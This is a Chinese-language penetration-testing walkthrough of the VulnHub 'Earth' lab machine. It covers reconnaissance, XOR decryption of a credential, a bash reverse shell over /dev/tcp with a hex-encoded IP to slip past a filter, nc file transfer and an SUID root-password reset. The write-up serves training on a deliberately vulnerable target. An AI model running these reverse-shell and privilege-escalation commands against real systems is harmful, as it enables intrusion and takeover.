靶机来源:https://www.vulnhub.com/entry/the-planets-earth,755/
下载靶机,放到vm里,启动靶机前先打开kali,扫一遍局域网内存活ip
arp-scan -l
然后启动靶机,注意,启动前将网络适配器调至NAT模式与kali完成组网。然后再次用kali扫描局域网存活ip,发现多了一个192.168.118.129,可以确定这就是靶机ip
接下来扫描靶机开放了哪些端口
nmap -A -p 1-65535 192.168.118.129
发现443端口上配置了两个DNS服务,指向两个域名。由于这是局域网内的本地域名,默认的DNS服务无法将其解析,需要在hosts文件配置本地解析
mousepad /etc/hosts
然后访问https://terratest.earth.local/和https://earth.local/,注意这里是https,如果你直接将terratest.earth.local和earth.local复制进浏览器地址栏里,默认以http协议访问,但是443端口是https协议的默认端口,所以我们需要指定以https协议来访问。
第一个网站看起来没有什么有价值的东西,第二个网站提供了两个输入框,输入数据后似乎是经过某种形式的加密或转码显示在下方的Previous Messages栏里(0003和00是我输入导致的)
没什么思路,来爆破下目录看看
dirsearch -u "https://earth.local/" -delay 2s -x 403,404 -t 10
dirsearch -u "https://terratest.earth.local/" -delay 2s -x 403,404 -t 10
发现两个网站的根目录下分别存在/admin和/robots.txt,先来看下/admin
是个登录界面,尝试使用burpsuite进行弱口令爆破,过程就不放了,无果。这边暂时不知道如何推进,去看下/robots.txt
这写的有点蹊跷,用最后一行给出的文件名挨个匹配文件后缀访问,发现testingnotes.txt存在
有用的信息是加密算法为XOR,用户名为terra,testdata.txt用于测试加密。
一提到加密我们可以联想到前面的Message key输入框,既然已经有Previous Messages作为密文,Message作为明文,那么Message key应该就是密钥了,明文由用户输入,那么密钥大概就是testdata.txt
我们访问testdata.txt看一下
表面上看起来没有什么用,用python脚本解密那三个Previous Messages
import binascii
data1 = "(Previous Messages)"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
hex_string=hex(int(data1,16) ^ int(f,16))
bytes_data = binascii.unhexlify(hex_string[2:])
normal_string = bytes_data.decode('utf-8')
print(normal_string)
第一个数据解码失败
第二个数据解码结果:
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the prol^rrlj~<evy{&*xk|h$kaw-oc 0-'web146iqc$hte7af#`ec~)o>kFnkukzdt|a>y~ciyvb~jn$6O?0i~d|0v|$lx4~%5l3d*`mx6a8{vcketdia %e,{tr9x>q{1w$h&v~oaxx-)if4tv6pudk
第三个数据解码结果:
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
第二个数据后半部分是不知有何含义的乱码,第三个数据是earthclimatechangebad4humans的重复。
既然已经有用户名terra,尝试将earthclimatechangebad4humans作为密码登录/admin网页,发现还真能登上
提示我们可运行CLI命令,先看一下我们的权限
whoami
反正不是root用户,先全局找一下flag
find / -name "*flag*"
注意到有一个可疑文件/var/earth_web/user_flag.txt,我们打开来看看
cat /var/earth_web/user_flag.txt
获得user_flag
接下来我们将获取靶机root权限作为目标
使用ifconfig查看eth0网卡中kali机的局域网地址为192.168.118.132
构造反弹shell
bash -i >& /dev/tcp/192.168.118.132/1234 0>&1
提示禁止远程连接,我们用16进制编码ip地址来尝试绕过
bash -i >& /dev/tcp/0xc0.0xa8.0x76.0x84/1234 0>&1
没有禁止的提示,执行成功,在kali中监听1234端口
nc -lvp 1234
成功连接到shell
查找拥有SetUID权限且文件属主用户为root的可执行文件,尝试进行SUID提权
find / -user root -perm -4000 -print 2>/dev/null
看起来reset_root名字很蹊跷,运行下试试
运行失败,显示 ALL TRIGGERS ARE NOT PRESENT
不知道是哪出了问题,我们传送该文件至kali,本地调试下
nc -nlvp 1234 >reset_root #在kali中输入
nc 192.168.118.132 1234 < /usr/bin/reset_root #bash中输入
获取成功
使用strace调试下reset_root(记得chmod 777 reset_root给这个程序可读可写可执行权限,不然会提示strace: exec: 权限不够)
发现这几行代码
access("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (没有那个文件或目录)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
exit_group(0)
在kali上由于缺少这三个文件,导致程序运行失败并输出ALL TRIGGERS ARE NOT PRESENT
我们检查下靶机的/dev/shm和/tmp目录下是否存在这些文件
find /dev/shm -name "*" | grep -E "kHgTFI5G|Zw7bV9U5"
find /tmp -name "*" | grep "kcM0Wewe"
发现靶机也不存在这些文件,那么我们来创建下
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
现在再来运行下reset_root
成功将root用户的密码重置为Earth
我们来看下哪些用户具有root权限
cat /etc/passwd | grep "root"
有root和operator两个用户具有root权限,看起来reset_root程序重置的是root的密码了
尝试在靶机上登陆root用户,密码为Earth
成功登录,ls列出当前目录下文件,发现root_flag.txt文件,打开
得到root_flag
本次内网渗透结束
Comments | NOTHING